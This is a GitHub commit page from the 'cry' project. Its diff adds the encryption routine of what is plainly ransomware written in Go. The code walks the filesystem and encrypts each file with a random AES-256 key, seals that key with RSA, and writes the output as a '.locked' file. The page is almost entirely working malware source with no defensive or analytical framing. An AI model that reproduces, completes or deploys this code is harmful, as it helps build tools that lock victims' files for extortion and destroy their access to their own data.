Skip to content

Commit

Permalink
Encryption part test
Browse files Browse the repository at this point in the history
  • Loading branch information
wille committed Jan 13, 2017
1 parent 0cfdd68 commit 5142afb
Show file tree
Hide file tree
Showing 3 changed files with 54 additions and 1 deletion.
5 changes: 4 additions & 1 deletion common/common.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,5 +19,8 @@ const (
LockedExtension string = ".locked"

// ProcessMax X files, then stop
ProcessMax int = 10
ProcessMax int = 1

// KeySize in bytes (AES-256)
KeySize int = 32
)
48 changes: 48 additions & 0 deletions main/encrypt.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
package main

import (
"crypto/rsa"
"io/ioutil"

"crypto/aes"
"crypto/rand"

"crypto/cipher"

"github.com/redpois0n/cry/common"
)

func encrypt(file string, priv *rsa.PrivateKey) {
data, err := ioutil.ReadFile(file)

if err != nil {
panic(err)
}

key := make([]byte, common.KeySize)
rand.Read(key)

iv := make([]byte, aes.BlockSize)
rand.Read(iv)

header := append(key, iv...)
pub := priv.PublicKey
header, err = rsa.EncryptPKCS1v15(rand.Reader, &pub, header)

if err != nil {
panic(err)
}

block, err := aes.NewCipher(key)

if err != nil {
panic(err)
}

cipher := cipher.NewCFBEncrypter(block, iv)
cipher.XORKeyStream(data, data)

data = append(header, data...)

ioutil.WriteFile(file+common.LockedExtension, data, 0777)
}
2 changes: 2 additions & 0 deletions main/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,5 +19,7 @@ func main() {

common.Walk(startWalk, func(filePath string, fileInfo os.FileInfo) {
fmt.Println("encrypting", filePath)

encrypt(filePath, priv)
})
}

0 comments on commit 5142afb

Please sign in to comment.